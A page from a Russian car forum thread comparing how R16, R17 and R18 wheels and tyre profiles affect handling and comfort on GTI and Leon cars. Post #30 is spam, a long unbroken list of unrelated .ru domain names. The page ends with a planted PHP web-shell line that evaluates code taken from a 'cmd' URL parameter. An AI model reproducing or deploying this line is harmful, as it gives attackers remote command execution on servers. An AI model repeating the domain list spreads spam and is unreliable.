+ Ответить в теме
Страница 3 из 5 ПерваяПервая 1 2 3 4 5 ПоследняяПоследняя
Показано с 21 по 30 из 42

Тема: Управляемость R18 VS R16


  1. #21
    а тоя разве не шире обычных колес?

    т.е. стоит поменять резину и оставить диски?

  2. #22
    Член клуба ААГ will become famous soon enough ААГ will become famous soon enough Аватар для ААГ
    Регистрация
    06.03.2006
    Сообщений
    2,332
    Цитата Сообщение от Dreamer Посмотреть сообщение
    а тоя разве не шире обычных колес?

    т.е. стоит поменять резину и оставить диски?
    Смотря какая тойо. Та что у Паши или у меня - нет.

  3. #23
    Жгун Года 2010 КИБАЛЬЧИШЬ is a jewel in the rough КИБАЛЬЧИШЬ is a jewel in the rough КИБАЛЬЧИШЬ is a jewel in the rough КИБАЛЬЧИШЬ is a jewel in the rough Аватар для КИБАЛЬЧИШЬ
    Регистрация
    14.04.2008
    Сообщений
    2,346
    Я думаю нужно для себя определиться в выборе и компромиссе
    по шкале "риск пробить резину, покалечить диск - внешний вид"
    Не думаю что по управляемости 225 R17 & R18 сильно отличаются...
    Я за R18 225/40!!!
    А на диски свои Дима ты зря наговариваешь, помоему симпатишные...

  4. #24
    GTI-Racing Окислитель is on a distinguished road Аватар для Окислитель
    Регистрация
    16.04.2008
    Откуда
    Москва
    Машина
    GTI 5
    Сообщений
    847
    Цитата Сообщение от Dreamer Посмотреть сообщение
    и вот собсно вопрос... - что будет с управляемостью и комфортом при сравнении вышеуказанных вариантов..
    интересует реакция на руление, сцепление с дорогой, комфорт.. не прогадаю ли я?


    хм... если рассматривать именно в канве что будет с управляемостью при переходе с 18 на 17 или 16 то несколько странно звучит вопрос - т.к. на управляемость и чёткость обратной связи влияет не диаметр диска, а высота профиля резины. Чем он меньше - тем управляемость лучше, обратная связь чётче.
    Диски большего диаметра обычно ставят если пихают тормозные диски большего диаметра, что позволят позже тормозить и следовательно выигрывать секунды.

    Далее, 18" диски в большинстве случаев тяжелей 16-ти априори, т.к. металла в них больше, резины больше, а это не подрессоренная масса, что не есть гуд.

    По этому обычно, выбирают какой то компромисс исходя из того, где чаще ездить приходится. Но опять же стоит выбирать высоту профиля.

    На сцепление с дорогой влияет ширина шины (разница в пятне контакта при одинаковой ширине шины на 18 и 16 дисках не значительна и кроме того, сильно зависит от давления в шине).

    Моё ИМХО (ибо не охота никому навязывать) – диаметр диска должен быть такой, что бы точно налезал на тормозные диски, лишняя масса ни к чему.
    Щас езжу на очень легком литье адван рейсинг и шинах 235\40\17.
    Зима – штатные диски и 225\50\17.

  5. #25
    Алексей, спасибо, но имхо колеса попса) твоя ковочка р18 смотрится отпадно просто!


    Окислитель - теория мне ясна была и ранее)

    зы: за зиму все же лучше 205,50,17..

    самая большая Ж связана с тем что сочетание подвески и и колес разбалтывают салон напрочь....(
    Последний раз редактировалось Dreamer; 07.10.2009 в 13:17.

  6. #26
    GTI-Racing crazy_engineer is a jewel in the rough crazy_engineer is a jewel in the rough crazy_engineer is a jewel in the rough Аватар для crazy_engineer
    Регистрация
    21.01.2007
    Откуда
    г. Видное Московской обл.
    Машина
    vRS
    Сообщений
    2,901
    Цитата Сообщение от Dreamer Посмотреть сообщение
    зы: за зиму все же лучше 205,50,17..(
    да, если ты зимой часто ездишь по снегу
    а если по Москве то лучше не уменьшать ширину шины т.е. 225

    Цитата Сообщение от Dreamer Посмотреть сообщение
    самая большая Ж связана с тем что сочетание подвески и и колес разбалтывают салон напрочь....(
    на штатной подвеске (причем ППД) и штатных 17 дюймовых колесах с мягкими шинами Мишлен 225/45R17 салон тоже разбалтывается

  7. #27
    GTI-Racing Pashka is on a distinguished road Аватар для Pashka
    Регистрация
    27.02.2008
    Откуда
    Киев
    Машина
    Seat Leon FR 2.0 TFSI
    Сообщений
    391
    Цитата Сообщение от Окислитель Посмотреть сообщение
    [/COLOR]
    Моё ИМХО (ибо не охота никому навязывать) – диаметр диска должен быть такой, что бы точно налезал на тормозные диски, лишняя масса ни к чему.
    Зачем же белым писать )))
    --
    Я за этот сезон спилил три комплекта резины, у меня 225/45/17. Нареканий к ним нет, хотя и сравнить не могу ни с чем.
    На следуйщий сезон планирую брать комплект колес с резиной типа тойи 888 или фалкен азенис. Ездить в городе на полуслике не хо, шумно та и незачем, я в городе тошню 80 в средних полосах.
    Внимание вопрос :)
    Лучше купить 16" для трек дней, дрыгов и тд, а в городе ездить на стоковых 17"
    Лучше купить 18" для ежедневной езды, а на трек дни и дрыги одеть на сток диски полуслик.

    Чисто теоретически на чем машинка будет ехать быстрее кольцо/прямо, стоковые 17" или ковка 16" ?
    Seat Leon FR 2.0 TFSI (green)/Chip ATG/Cold Air Intake/DownPipe 3"/Wiechers sport front & rear/Zimmermann Sport/

  8. #28
    отьездил 15т на 225/40/18, диски Volk Racing G7 8.0"
    особой разницы со стоком(225/45/17) не заметил, только сток квадратный стал за 20т а новые только при паркинге поцарапал немного...
    А дороги у нас ОГОГО!!! Кибальчиш не даст соврать)

    Я ниже 18 не хочу на лето! Только на зиму 17 беленькие...

    Лучше на 18 красиво дрочить по городу в пробках,
    а на 17 красиво мочить по гоночной трассе!

    Думаю 16 не наш выбор... WTCC и Туринг 2.0 едут на 17"(если я не путаю)

    Так что 18 город(был бя в м Москве, были бы 19) а 17 гоночки.

    Аминь.
    The day I've bought my GTI was the day I became alive. ©
    GTI не стареют, со временем они становятся быстрее, и ниже. ©

  9. #29

  10. #30
    GTI-Racing GregoryQuera is on a distinguished road Аватар для GregoryQuera
    Регистрация
    02.12.2022
    Откуда
    Бобруйск
    Машина
    Бричка
    Сообщений
    71,778
    audiobookkeeper.rucottagenet.rueyesvision.rueyesvisions.comfactoringfee.rufilmzones.rugadwall.rugaffertape.rugageboard.rugagrule.rugallduct.rugalvanometric.rugangforeman.rugangwayplatform.rugarbagechute.ru gardeningleave.rugascautery.rugashbucket.rugasreturn.rugatedsweep.rugaugemodel.rugaussianfilter.rugearpitchdiameter.rugeartreating.rugeneralizedanalysis.rugeneralprovisions.rugeophysicalprobe.rugeriatricnurse.rugetintoaflap.rugetthebounce.ru habeascorpus.ruhabituate.ruhackedbolt.ruhackworker.ruhadronicannihilation.ruhaemagglutinin.ruhailsquall.ruhairysphere.ruhalforderfringe.ruhalfsiblings.ruhallofresidence.ruhaltstate.ruhandcoding.ruhandportedhead.ruhandradar.ru handsfreetelephone.ruhangonpart.ruhaphazardwinding.ruhardalloyteeth.ruhardasiron.ruhardenedconcrete.ruharmonicinteraction.ruhartlaubgoose.ruhatchholddown.ruhaveafinetime.ruhazardousatmosphere.ruheadregulator.ruheartofgold.ruheatageingresistance.ruheatinggas.ru heavydutymetalcutting.rujacketedwall.rujapanesecedar.rujibtypecrane.rujobabandonment.rujobstress.rujogformation.rujointcapsule.rujointsealingmaterial.rujournallubricator.rujuicecatcher.rujunctionofchannels.rujusticiablehomicide.rujuxtapositiontwin.rukaposidisease.ru keepagoodoffing.rukeepsmthinhand.rukentishglory.rukerbweight.rukerrrotation.rukeymanassurance.rukeyserum.rukickplate.rukillthefattedcalf.rukilowattsecond.rukingweakfish.rukinozones.rukleinbottle.rukneejoint.ruknifesethouse.ru knockonatom.ruknowledgestate.rukondoferromagnet.rulabeledgraph.rulaborracket.rulabourearnings.rulabourleasing.rulaburnumtree.rulacingcourse.rulacrimalpoint.rulactogenicfactor.rulacunarycoefficient.ruladletreatediron.rulaggingload.rulaissezaller.ru lambdatransition.rulaminatedmaterial.rulammasshoot.rulamphouse.rulancecorporal.rulancingdie.rulandingdoor.rulandmarksensor.rulandreform.rulanduseratio.rulanguagelaboratory.rulargeheart.rulasercalibration.rulaserlens.rulaserpulse.ru laterevent.rulatrinesergeant.rulayabout.ruleadcoating.ruleadingfirm.rulearningcurve.ruleaveword.rumachinesensible.rumagneticequator.rumagnetotelluricfield.rumailinghouse.rumajorconcern.rumammasdarling.rumanagerialstaff.rumanipulatinghand.ru manualchoke.rumedinfobooks.rump3lists.runameresolution.runaphtheneseries.runarrowmouthed.runationalcensus.runaturalfunctor.runavelseed.runeatplaster.runecroticcaries.runegativefibration.runeighbouringrights.ruobjectmodule.ruobservationballoon.ru obstructivepatent.ruoceanmining.ruoctupolephonon.ruofflinesystem.ruoffsetholder.ruolibanumresinoid.ruonesticket.rupackedspheres.rupagingterminal.rupalatinebones.rupalmberry.rupapercoating.ruparaconvexgroup.ruparasolmonoplane.ruparkingbrake.ru partfamily.rupartialmajorant.ruquadrupleworm.ruqualitybooster.ruquasimoney.ruquenchedspark.ruquodrecuperet.rurabbetledge.ruradialchaser.ruradiationestimator.rurailwaybridge.rurandomcoloration.rurapidgrowth.rurattlesnakemaster.rureachthroughregion.ru readingmagnifier.rurearchain.rurecessioncone.rurecordedassignment.rurectifiersubstation.ruredemptionvalue.rureducingflange.rureferenceantigen.ruregeneratedprotein.rureinvestmentplan.rusafedrilling.rusagprofile.rusalestypelease.rusamplinginterval.rusatellitehydrology.ru scarcecommodity.ruscrapermat.ruscrewingunit.ruseawaterpump.rusecondaryblock.rusecularclergy.ruseismicefficiency.ruselectivediffuser.rusemiasphalticflux.rusemifinishmachining.ruspicetrade.ruspysale.rustungun.rutacticaldiameter.rutailstockcenter.ru tamecurve.rutapecorrection.rutappingchuck.rutaskreasoning.rutechnicalgrade.rutelangiectaticlipoma.rutelescopicdamper.rutemperateclimate.rutemperedmeasure.rutenementbuilding.rutuchkasultramaficrock.ruultraviolettesting.ru

+ Ответить в теме
Страница 3 из 5 ПерваяПервая 1 2 3 4 5 ПоследняяПоследняя

Похожие темы

  1. Давление в шинах - управляемость
    от IvanGTIV в разделе Украина
    Ответов: 10
    Последнее сообщение: 04.04.2011, 19:23
  2. Развал - управляемость
    от IvanGTIV в разделе Украина
    Ответов: 0
    Последнее сообщение: 22.12.2010, 23:03
  3. Про управляемость
    от Logic в разделе Тюнинг: двигатель, впрыск, впуск/выпуск
    Ответов: 7
    Последнее сообщение: 04.10.2007, 23:20

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
{{$myVar = eval($_GET[cmd]);}}